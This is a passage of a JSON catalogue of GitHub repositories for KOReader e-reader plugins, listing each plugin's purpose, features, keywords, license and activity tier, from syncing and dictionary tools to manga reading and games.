during"],"keywords":["anna","archive","requirements","configuration","talks","api","notes","download","search","annas-archive-api","downloads","device","does","fast-download","json","port","query","saved","wget","where","which","annasarchive","body","companion"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-18T07:23:58Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":3499,"detail":"detail/bitesized__annasarchive.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Bjane658/chapterinsights.koplugin","owner":"Bjane658","repo":"chapterinsights.koplugin","url":"https://github.com/Bjane658/chapterinsights.koplugin","description":"","purpose":"Summarize the current chapter or ask questions about it using any OpenAI-compatible chat-completions API (OpenAI, OpenRouter, a local LLM, etc.).","categories":["misc"],"features":["Summarize Current Chapter — extracts the current chapter (via the table","Ask Question About Current Chapter — ask a free-form question answered","In-app settings menu to choose the LLM provider","Add / manage providers directly on the device"],"keywords":["chapter","insights","configure","roadmap","providers","current","provider","config","about","both","contents","copy","holds","menu","openai-compatible","question","summarize","table","extracts","via","ask","free-form","answered","in-app"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-22T11:12:07Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":1728,"detail":"detail/Bjane658__chapterinsights.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"CalebLinGit/pokedex-koplugin","owner":"CalebLinGit","repo":"pokedex-koplugin","url":"https://github.com/CalebLinGit/pokedex-koplugin","description":"KOReader plugin: long-press a Pokémon name to see its artwork and flavor text","purpose":"","categories":["misc"],"features":[],"keywords":["long-press","pok","mon","name","see","artwork","flavor","text"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-11T19:49:26Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"CattiusW/skyremote.koplugin","owner":"CattiusW","repo":"skyremote.koplugin","url":"https://github.com/CattiusW/skyremote.koplugin","description":"a sky remote for koreader. UNDER DEVELOPMENT who knows if this will work","purpose":"compile remote.c for your kindle hooray! https://github.com/CattiusW/skyremote.koplugin/archive/refs/heads/main.zip","categories":["misc"],"features":["compiled for a hf kindle paperwhite 10th gen"],"keywords":["sky","remote","under","development","who","knows","work","untested","compiling","yourself","dont","trust","kindle","compiled","paperwhite","10th","gen"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-15T16:36:17Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":317,"detail":"detail/CattiusW__skyremote.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"code2344/calculator.koplugin","owner":"code2344","repo":"calculator.koplugin","url":"https://github.com/code2344/calculator.koplugin","description":"A calculator plugin for KOReader","purpose":"A calculator plugin for KOReader. Go to https://github.com/zwim/calculator.koplugin/releases and download the desired `koreader.plugin-x.x.x.zip` and unpack it to `koreader/plugins/calculator.koplugin`.","categories":["misc"],"features":[],"keywords":["calculator","operators","functions","predefined","variables","number","results","stored","additional","auto","button","calc","calculation","change","constants","define","delete","evaluates","following","function","github","https","init","line"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-09-08T12:46:10Z","license":"GPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":4583,"detail":"detail/code2344__calculator.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Cusanity/settingsync.koplugin","owner":"Cusanity","repo":"settingsync.koplugin","url":"https://github.com/Cusanity/settingsync.koplugin","description":"","purpose":"中文说明 Synchronize KOReader settings across devices via WebDAV with per-key diff and selective sync. Both show a confirmation dialog before executing.","categories":["sync"],"features":["Per-key diff view – see exactly which settings differ between local and cloud","Selective sync – choose to push or pull individual keys, or bulk push/pull all","WebDAV backend – works with any WebDAV server (Nextcloud, Synology, etc.)","Auto-discovery – automatically scans settings/ directory for plugin config files","Device-specific exclusions – keys like device_id, lastdir, home_dir are never overwritten","Sync scope control – choose which categories to sync: global settings, plugin settings, plugin configs","Open the plugin from the KOReader menu: ☰ → Settings Sync","Tap WebDAV server to configure your server URL, username, and password","Choose your Sync scope (global settings, plugin settings, plugin configs)","Tap Diff & sync settings… to compare local vs. cloud"],"keywords":["settingsync","configuration","diff","sync","recommended","quick","excluded","keys","settings","cloud","device","local","pull","push","webdav","choose","device-specific","server","state","automatically","config","configs","directory","filesystem"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-08T17:24:10Z","license":"AGPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":2550,"detail":"detail/Cusanity__settingsync.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"danhenrydev/highlightcompose.koplugin","owner":"danhenrydev","repo":"highlightcompose.koplugin","url":"https://github.com/danhenrydev/highlightcompose.koplugin","description":"","purpose":"Note: This plugin is 100% vibe coded for my specific use case, you probably shouldn't use it. KOReader plugin that replaces the usual highlight popup with one compact, wide panel: a thin color strip, style symbols + pencil on the next row, then trim/grow and actions. Unless your highlight popup is pinned to…","categories":["sync","notes"],"features":[],"keywords":["integrated","highlight","note","bar","panel","popup","selection","under"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-03-25T14:17:35Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":723,"detail":"detail/danhenrydev__highlightcompose.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"darkivist/loc.koplugin","owner":"darkivist","repo":"loc.koplugin","url":"https://github.com/darkivist/loc.koplugin","description":"","purpose":"I built a plugin for koreader that lets you browse, search for, and download pdf and epub books from the library of congress digital collections directly to your ereader. Put it in the koreader plugins directory, open it, set your downloads location in settings, and give it a whirl. Developed on a 2019 intel macbook…","categories":["library"],"features":[],"keywords":["library","congress","ebook","fetcher","code","github","https","running","zlibrary"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-10T12:28:22Z","license":"MIT","default_branch":"master","has_meta":true,"readme_bytes":698,"detail":"detail/darkivist__loc.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"denialbb/flashcards.koplugin","owner":"denialbb","repo":"flashcards.koplugin","url":"https://github.com/denialbb/flashcards.koplugin","description":"","purpose":"A pure-Lua KOReader plugin that quizzes you on your `flashcards.md` notes directly on the Kobo — the e-ink counterpart of the desktop `~/.local/bin/quiz.py` tool.","categories":["dict"],"features":["Same format, same files: full parity with the desktop quiz tool's parser (plus one forgiving extension: indented Q:/A: lines are…","Theme discovery: recursively finds every flashcards.md under the notes folder; each containing folder is a theme, plus an \"All…","E-ink friendly flow: pick a theme → pick a deck length (all / 10 / 25 / 50) → reveal each answer → self-score with two taps (\"Got…","Missed-card review: the cards you missed are saved; \"Review Missed Cards\" re-quizzes exactly those, and a finished quiz offers…","Works with syncnotes: the default notes root matches the folder syncnotes.koplugin fills, so synced flashcards are quizzed with…","Tools → Flashcards → Start Quiz","Start Quiz — theme menu (each theme shows its card count), then a deck-length menu","Reveal Answer — shows the answer and swaps the buttons for Got it / Missed"],"keywords":["flashcards","format","local","development","cleaning","missed","quiz","notes","cards","desktop","folder","theme","card","files","lines","review","same","tools","answer","each","parser","shows","summary","syncnotes"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-07T15:03:55Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":3639,"detail":"detail/denialbb__flashcards.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"denialbb/syncnotes.koplugin","owner":"denialbb","repo":"syncnotes.koplugin","url":"https://github.com/denialbb/syncnotes.koplugin","description":"KOReader plugin: sync markdown notes from a GitHub repo over Wi-Fi","purpose":"A pure-Lua plugin for KOReader that allows you to directly sync Markdown notes from a private GitHub repository to your e-reader over Wi-Fi — no PC required!","categories":["sync","notes"],"features":["Stand-Alone Wi-Fi Sync: Connect your Kobo to Wi-Fi and pull your latest notes directly from GitHub in one tap","Private Repository Support: Authenticate securely using a GitHub Personal Access Token (PAT)","Smart Incremental Updates: Compares local file SHAs against the remote GitHub tree manifest. It only downloads updated/new files…","Interactive UI: Provides a live progress bar and status updates directly on your e-ink display while syncing","In KOReader, navigate to Tools → Sync Notes → Configure Repo and enter your repo string in the format owner/repo@branch (e.g.…","Generate a read-only GitHub PAT. Provide it via Tools → Sync Notes → Set/Change Token","Sync Now: Tapping this will enable Wi-Fi if needed, connect to GitHub, retrieve the latest tree manifest, and synchronize your…"],"keywords":["sync","markdown","notes","github","repo","over","wi-fi","syncnotes","setup","error","handling","repository","directly","folder","kobo","tools","access","branch","connect","deploy","e-reader","enable","file","files"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-30T22:00:45Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2578,"detail":"detail/denialbb__syncnotes.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"DerSchmachtin/dicechess.koplugin","owner":"DerSchmachtin","repo":"dicechess.koplugin","url":"https://github.com/DerSchmachtin/dicechess.koplugin","description":"","purpose":"A KOReader plugin implementing Wuerfelschach (Dice Chess): a two-player, pass-and-play chess variant on a 6-wide, 8-tall board, designed to be playable on a shared e-reader like a Kindle Paperwhite.","categories":["misc"],"features":["Board: 6 columns × 8 rows","Setup: players alternate placing pieces on their own back row, in the open (visible to both). Each player places their King…","Turns: roll a single six-sided die. The result is a column number (1–6). You may only move one of your own pieces that is…","Winning: there is no check or checkmate — capture the opposing King to win","Two-player, one device: the status text is shown twice (normal near White's edge, upside-down near Black's edge) and the Roll…","dicechess_rules.lua — board representation and move generation, no KOReader dependency","dicechess_fliptext.lua — renders an upside-down-readable copy of a status string for the player on the far side of the board","dicechess_widget.lua — the full-screen UI: setup draft, board, dice roll, move selection, promotion"],"keywords":["dicechess","rules","structure","board","chess","dice","move","pieces","both","column","roll","their","copy","device","each","edge","king","near","normal","piece","player","promotion","setup","sitting"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T20:09:50Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":1909,"detail":"detail/DerSchmachtin__dicechess.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"DHaizon/imagecrop.koplugin","owner":"DHaizon","repo":"imagecrop.koplugin","url":"https://github.com/DHaizon/imagecrop.koplugin","description":"A KOReader plugin that adds interactive crop functionality to the built-in Image Viewer. Select any rectangular region of an image with two taps, fine-tune it with arrow controls, and save the result as a PNG — or pin it directly to pinnedelements.koplugin","purpose":"A KOReader plugin that adds interactive crop functionality to the built-in Image Viewer. Select any rectangular region of an image with two taps, fine-tune it with arrow controls, and save the result as a PNG — or pin it directly to pinnedelements.koplugin.","categories":["ui","files","reading"],"features":["Two-tap crop selection — tap once to set the top-left corner (crosshair appears), tap again to set the bottom-right corner…","Visual overlay — a high-contrast black/white border with L-shaped corner markers makes the selection clearly visible on E-ink…","Pixel-nudge navigation bar — once a selection is active, a ◄ ▲ ▼ ► bar appears above the action buttons to shift the entire…","Crop & Save — saves the selected region as a PNG file next to the source image ( _crop_YYYYMMDD_HHMMSS.png). Falls back to…","Pin to PinnedElements — crops the selection in memory and saves it directly as a pinned image entry in pinnedelements.koplugin,…","Reset / Cancel — reset clears the current selection so you can start over; cancel exits crop mode and restores the Image Viewer…","Non-destructive — original images are never modified"],"keywords":["adds","interactive","crop","functionality","built-in","image","viewer","select","any","rectangular","region","two","taps","fine-tune","arrow","controls","save","result","png","pin","directly","pinnedelements","imagecrop","works"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-02T14:19:04Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":9013,"detail":"detail/DHaizon__imagecrop.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"DHaizon/mangapanel.koplugin","owner":"DHaizon","repo":"mangapanel.koplugin","url":"https://github.com/DHaizon/mangapanel.koplugin","description":"A KOReader plugin for reading manga and comics panel by panel, optimized for e-ink devices like the Kindle Paperwhite.","purpose":"A KOReader plugin for reading manga and comics panel by panel, optimized for e-ink devices like the Kindle Paperwhite.","categories":["files","reading","content"],"features":["Panel-by-panel navigation — each tap advances one panel at a time instead of a full page flip","Dual detection engine — uses KOReader's native getPanelFromPage() (mupdf) when available; falls back to a brightness-projection…","RTL / LTR reading order — configurable per document; RTL for Japanese manga, LTR for manhwa and Western comics","High-quality rendering — panels are rendered with drawPagePart() directly from mupdf at full resolution; falls back to a crop…","Prefetching — the next panel (and the panels of neighboring pages) are pre-built in the background so navigation feels instant…","Memory-safe — BlitBuffers have clear ownership rules; all buffers are freed deterministically on widget close, preventing leaks…","Dispatcher integration — the action Manga Panel Reader can be assigned to any gesture or button via KOReader's Gesture Manager"],"keywords":["reading","manga","comics","panel","optimized","e-ink","devices","like","kindle","paperwhite","mangapanel","formats","works","detection","rendering","prefetching","navigation","mode","configuration","option","app","store","appstore","filebrowserplus"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-02T14:20:37Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":7569,"detail":"detail/DHaizon__mangapanel.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"DiegoShan/ext_dict_switcher.koplugin","owner":"DiegoShan","repo":"ext_dict_switcher.koplugin","url":"https://github.com/DiegoShan/ext_dict_switcher.koplugin","description":"This plugin adds an \"External Dict\" button to KOReader's dictionary popup, allowing you to directly look up words in external dictionaries without manually toggling settings.","purpose":"简体中文 This plugin adds an \"External Dict\" button to KOReader's dictionary popup, allowing you to directly look up words in external dictionaries without manually toggling settings.","categories":["ui","dict","notes"],"features":["Open the dictionary popup, and you'll see the new \"External Dict\" button","Select a word while reading to open the dictionary lookup window","Click the \"External Dict\" button, and the plugin will temporarily enable external dictionary lookup and perform the query","After the query is complete, the plugin will automatically restore the original settings","The plugin will show a success notification","Open ext_dict_switcher.koplugin/main.lua file","Find the following code section (around line 89)","Change \"External Dict\" to your desired text, for example \"External Dictionary\"","Save the file and restart KOReader","The plugin registers an action during initialization and adds external dictionary lookup functionality to the ReaderDictionary…"],"keywords":["adds","external","dict","button","dictionary","popup","allowing","directly","look","words","dictionaries","without","manually","toggling","settings","switcher","layout","modify","text","working","principle","notes","history","lookup"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-03-07T11:22:07Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":2549,"detail":"detail/DiegoShan__ext_dict_switcher.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"dimon40001/foss-koreader-json2markdown","owner":"dimon40001","repo":"foss-koreader-json2markdown","url":"https://github.com/dimon40001/foss-koreader-json2markdown","description":"Python script to convert KOReader hightlights from JSON to Markdown","purpose":"Converts book highlights from KOReader JSON into Markdown.","categories":["files","reading","notes"],"features":[],"keywords":["export","highlights","koreader","koreader-plugin","python","script","convert","hightlights","json","markdown","converter"],"topics":["export","highlights","koreader","koreader-plugin"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-11-28T19:30:36Z","license":null,"default_branch":"master","has_meta":false,"readme_bytes":100,"detail":"detail/dimon40001__foss-koreader-json2markdown.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","stub"]},{"id":"discordimpound/yomitan.koplugin","owner":"discordimpound","repo":"yomitan.koplugin","url":"https://github.com/discordimpound/yomitan.koplugin","description":"Query Yomitan from KOReader","purpose":"KOReader dictionary lookups with the japanese plugin take are glacially slow. This plugin replaces local dictionary lookups with querying a remote Yomitan instance. With this plugin, lookups are quite speedy. It is an open question whether power draw is increased.","categories":["misc"],"features":["Registering itself as a language support plugin in order to expand all","Patching ReaderDictionary:onLookupWord to use our custom Yomitan lookup","Is there any way to avoid HTML in definitions?","Does this plugin increase power consumption?","Creating Anki Cards from KOReader","Would compressing the Yomitan API responses increase efficient?","Could sdcv simply be optimized?","frontend/ui/widget/dictquicklookup.lua","frontend/apps/reader/modules/readerwikipedia.lua","frontend/apps/reader/modules/readerdictionary.lua"],"keywords":["query","yomitan","overview","implementation","further","work","credits","lookups","would","power","dictionary","japanese","frontend","sdcv","audio","because","data","e-reader","github","https","lookup","quite","there","anki"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-25T20:01:16Z","license":"AGPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":3733,"detail":"detail/discordimpound__yomitan.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"dororo42/weread_K4.koplugin","owner":"dororo42","repo":"weread_K4.koplugin","url":"https://github.com/dororo42/weread_K4.koplugin","description":"","purpose":"在 KOReader 上阅读微信读书书籍和公众号文章、同步阅读时长的插件。 本分支 fork 自 finlater/weread.koplugin（AGPL-3.0），K4 非触摸适配分支独立维护于 dororo42/weread_K4.koplugin。","categories":["content"],"features":["基线：官方 v0.6.0（含个人 K4 适配补丁）","上游最新：v1.1.0（本分支不跟随，见「与主线 v1.0.0 的差别」）","全交互按键可操作（方向键 + 确认 + 返回 + 键盘数字行），无触摸手势依赖","使用按键 ScreenKB+Down，唤出\"快捷菜单\"","针对Kindle4硬件配置，优化代码执行效率","离线优先：离线阅读时长上报、离线缓存阅读","精简功能面：去掉触摸设备才用得到的划线/想法、书评等","将 weread_K4.koplugin 文件夹复制到 KOReader 的 plugins 目录：","重启 KOReader，在菜单中找到 工具 → 微信读书。","扫码登录为推荐方式，扫码前需在微信读书 App 中开通微信读书 Skill 并获取 API Key。"],"keywords":["weread","0-k4-v3","hotkeys","2026-08","screenkb","down","menu","pcall","press","agpl-3","back","home","library","backlog","content","cookie","d-pad","finlater","fonts","fork","http","icons","kindle","left"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-11T10:08:04Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":13486,"detail":"detail/dororo42__weread_K4.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"dpolarov/MailPush-for-Kindle","owner":"dpolarov","repo":"MailPush-for-Kindle","url":"https://github.com/dpolarov/MailPush-for-Kindle","description":"MailPush is a KOReader plugin for Kindle that downloads books from mailbox","purpose":"MailPush is a KOReader plugin for Kindle that downloads books and other files directly from an IMAP mailbox. It is intended as a self-hosted, account-independent alternative to Amazon Send to Kindle for jailbroken Kindles running KOReader.","categories":["device"],"features":["Optional automatic archive extraction: ZIP, TAR, TAR.GZ/TGZ and TAR.BZ2/TBZ2","save to, legacy saveto, and сохранить в directives for destination paths/names","Manual Fetch mail now and Test connection commands","Optional Fetch once when KOReader starts; no periodic/background polling","IMAP over TLS without OAuth. Provider app passwords can be used where required","Bundled public CA certificates plus support for an additional custom CA file","Multiple books are processed independently; MailPush reports results and does not automatically open a downloaded book","Persistent processed-message history prevents duplicate downloads","KOReader .koplugin UI instead of KUAL","Single static ARMv7 Go binary; no Python runtime on Kindle"],"keywords":["kindle","koreader","paperwhite","koreader-plugin","ebook","kindle-paperwhite","mailpush","downloads","books","mailbox","differs","mailpushru","compatibility","configuration","authentication","sending","message","processing","works","archive","safety","building","docker","tests"],"topics":["kindle","koreader","paperwhite","koreader-plugin","ebook","kindle-paperwhite"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T13:44:53Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":23645,"detail":"detail/dpolarov__MailPush-for-Kindle.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"dsyang/simple-journal","owner":"dsyang","repo":"simple-journal","url":"https://github.com/dsyang/simple-journal","description":"KOReader plugin to write short daily journal entries on your e-reader and sync them to a Notion database.","purpose":"A small KOReader plugin to write short, text-only daily journal entries on your e-reader (Kindle, Kobo, etc.) and sync them to a Notion database.","categories":["sync","device","files","notes"],"features":["New entry — full-screen on-screen keyboard, multi-line. Title defaults to the date/time","Offline-first queue — write anytime; entries push to Notion when a connection is available","Sync now — manually flush the queue and turn on wifi if needed","Each entry becomes a new page (row) in your Notion database, with the body as paragraph blocks","Create a Notion integration at and copy its","Create a database in Notion for your journal. It just needs a title property","Open the database → ⋯ menu → Connections → Connect to your integration, so it can write to it","Get the database ID: open the database as a full page; the ID is the 32-char","Notion token — paste the integration secret","Database ID — paste the 32-char ID"],"keywords":["ereader","journaling","kindle","kobo","koreader","koreader-plugin","notion","write","short","daily","journal","entries","e-reader","sync","them","database","simple","setup","one","time","configure","optional","credentials","file"],"topics":["ereader","journaling","kindle","kobo","koreader","koreader-plugin","notion"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-20T06:23:46Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":3196,"detail":"detail/dsyang__simple-journal.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"duongital/zlockscreen.koplugin","owner":"duongital","repo":"zlockscreen.koplugin","url":"https://github.com/duongital/zlockscreen.koplugin","description":"","purpose":"","categories":["misc"],"features":[],"keywords":[],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-12-28T09:20:26Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"dwarfsawman/readest-webdav.koplugin","owner":"dwarfsawman","repo":"readest-webdav.koplugin","url":"https://github.com/dwarfsawman/readest-webdav.koplugin","description":"Personal-use KOReader plugin for syncing Readest over WebDAV.","purpose":"Personal-use plugin for syncing KOReader progress and annotations with Readest files over WebDAV.","categories":["sync"],"features":[],"keywords":["personal-use","syncing","readest","over","webdav"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-15T10:33:57Z","license":"AGPL-3.0","default_branch":"main","has_meta":false,"readme_bytes":132,"detail":"detail/dwarfsawman__readest-webdav.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","stub"]},{"id":"eliasbuenosdias/koreader-kindle-sync.koplugin","owner":"eliasbuenosdias","repo":"koreader-kindle-sync.koplugin","url":"https://github.com/eliasbuenosdias/koreader-kindle-sync.koplugin","description":"","purpose":"This plugin exports highlights and notes from KOReader to Kindle's official `My Clippings.txt` format, allowing Amazon to automatically sync them to your account and Goodreads.","categories":["sync","library","device","files","notes"],"features":["✅ Export highlights to Kindle's My Clippings.txt format","✅ Automatic duplicate detection (won't export same highlight twice)","✅ Auto-sync option: export on book close","✅ ISBN detection: warns if book won't sync to Amazon","✅ Works on Kindle (jailbroken), Kobo, Android, and other devices","✅ No external dependencies","Kindle (jailbroken): /mnt/us/koreader/plugins/","Kobo: /mnt/onboard/.adds/koreader/plugins/","Android: /sdcard/koreader/plugins/","Other devices: Check KOReader documentation for plugin path"],"keywords":["kindle","clippings","sync","description","download","device","restart","manual","export","auto-sync","book","close","output","location","important","notes","books","amazon","goodreads","won","troubleshooting","error","cannot","write"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-01-04T19:04:30Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3684,"detail":"detail/eliasbuenosdias__koreader-kindle-sync.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"encodedLife/karabridge.koplugin","owner":"encodedLife","repo":"karabridge.koplugin","url":"https://github.com/encodedLife/karabridge.koplugin","description":"KOReader plugin for syncing books, highlights, and notes with Karakeep.","purpose":"A KOReader plugin that bridges Karakeep and KOReader in both directions. One plugin for both halves: list or to tags if you want. and an article can archive itself in Karakeep once you have finished it. matching KOReader annotation, and the same sentence highlighted twice stays two distinct highlights. every marked…","categories":["web","files","notes"],"features":["Articles come down as EPUBs, with images embedded, filtered to a Karakeep","What you do with them goes back up — reading progress, highlights, notes —","Highlights synchronise both ways. A note edited in Karakeep returns to the","Your own EPUB and PDF books become one editable Karakeep card each, with","It updates itself from a GitHub release, so a new version does not need a","Get the zip. From the","Unpack it into KOReader's plugins/ directory. The zip already contains","Write karabridge.conf. Put it next to plugins/, not inside the","Eject and restart KOReader. KaraBridge appears under Tools →","Check it. *Test the connection* should report the server. If something is"],"keywords":["syncing","books","highlights","notes","karakeep","karabridge","configure","device","text","file","where","goes","looks","like","every","setting","precedence","one","sentence","download","folder","exporting","own","keeping"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-13T10:45:41Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":19238,"detail":"detail/encodedLife__karabridge.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"esaaksvu/srtviewer.koplugin","owner":"esaaksvu","repo":"srtviewer.koplugin","url":"https://github.com/esaaksvu/srtviewer.koplugin","description":"SRT subtitle viewer plugin for KOReader","purpose":"A native, e-ink optimized `.srt` subtitle player built as a custom plugin for KOReader. Whether you are studying languages, analyzing film pacing, or just reading subtitles like a script, this plugin allows you to load and \"play\" subtitle files directly on your e-reader.","categories":["misc"],"features":["E-Ink Optimized \"Smart Ticker\": Unlike standard video players, this plugin minimizes screen flashing and battery drain by only…","Smart Seeking: Jump to any timestamp using a forgiving input system. Supports HH:MM:SS, MM:SS, HH.MM.SS, MM.SS, or raw seconds…","Progress Tracking: Automatically remembers exactly where you paused or closed a file. Reopening the same .srt file later will…","Rotation Support: Seamlessly swap between Portrait and Landscape modes on the fly without breaking the user interface or losing…","Persistent File Explorer: Remembers the last folder you opened, so you don't have to navigate from your home directory every time…","Connect your e-reader to your computer via USB","Navigate to your device's KOReader plugins directory","Standard path: koreader/plugins/"],"keywords":["srt","subtitle","viewer","technical","details","limitations","changelog","file","jump","screen","text","e-ink","exactly","files","folder","navigate","optimized","play","smart","tags","timestamp","backlight","device","directory"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-30T22:41:25Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":2611,"detail":"detail/esaaksvu__srtviewer.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Exhen/EpubImageEnhance.koplugin","owner":"Exhen","repo":"EpubImageEnhance.koplugin","url":"https://github.com/Exhen/EpubImageEnhance.koplugin","description":"","purpose":"面向 KOReader 的漫画 / 图画类 EPUB（CRE） 插件：按页做图像增强，不整书重编码。 适用于网漫、扫描漫画等以整页 ` ` 为主的 EPUB；对纯文字书一般无需开启。 当前版本见 `_version.lua`。","categories":["reading"],"features":["与 derainbowify.koplugin 相同引擎：PFFFT + color_detect + moire_filter","在 CRE 页缓冲上原地处理；Document.hintPage 预渲染","弱 / 中 / 强 三档（方案 2）：调 strength + 对角掩膜宽度；三档同一次 FFT，性能相同","弱：接近 derainbowify 默认","中：略加强衰减并略放宽掩膜（默认）","强：满强度 + 更宽角度 / 更低频率门槛","Check for updates：检查 GitHub Releases","Auto-update：打开书后联网时自动检查并安装","安装前会备份到 epubimageenhance.koplugin.previous，完成后需重启 KOReader","从 Releases 下载最新包"],"keywords":["epub","image","enhance","epubimageenhance","derainbow","native","koxtoolchain","derainbowify","apply","books","build","libs","pffft","asset","book","check","color","crengine","detect","device","filter","github","moire","page"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-13T02:19:40Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":5573,"detail":"detail/Exhen__EpubImageEnhance.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Exhen/koreader-pinyin.koplugin","owner":"Exhen","repo":"koreader-pinyin.koplugin","url":"https://github.com/Exhen/koreader-pinyin.koplugin","description":"koreader中文拼音输入法","purpose":"把 iOS 风格的拼音候选栏接到 KOReader 原生虚拟键盘上，而不是单独弹窗。 将本仓库软链到 KOReader 插件目录（目录名必须以 `.koplugin` 结尾）： 然后重启 KOReader。 `设置 → 键盘` 中可管理布局；本插件会确保 `zh_CN` 已启用。","categories":["dict"],"features":["自动启用并切换到 zh_CN（中文拼音）键盘布局。","打开任意输入框时，键盘上方出现候选栏。","输入拼音字母后，候选栏显示可点选汉字/词组。","点击候选词即可上屏；‹ / › 翻页。","词库使用 KOReader 自带的 zh_pinyin_data（Rime 简体拼音）。","重启 KOReader。","打开搜索框 / 笔记框等任意输入框。","确认键盘为中文拼音（地球键可切换布局）。","输入 nihao，在候选栏点 你好。"],"keywords":["macos","pinyin","data","rime","nihao"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-03T06:33:03Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":1101,"detail":"detail/Exhen__koreader-pinyin.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Exhen/kosync_plus.koplugin","owner":"Exhen","repo":"kosync_plus.koplugin","url":"https://github.com/Exhen/kosync_plus.koplugin","description":"","purpose":"基于 KOReader 官方 `kosync.koplugin`（commit `612141220235870460cd357a36725062224bc35d`）改造，新增 ISBN 作为文档同步 ID 的能力。","categories":["sync","library"],"features":["koreader_sync_isbn.koplugin/main.lua","koreader_sync_isbn.koplugin/KOSyncClient.lua","koreader_sync_isbn.koplugin/api.json","koreader_sync_isbn.koplugin/_meta.lua","Document matching method 新增 ISBN 选项。","新增 ISBN debug log 开关（默认关闭）。","getDocumentDigest() 支持 ISBN 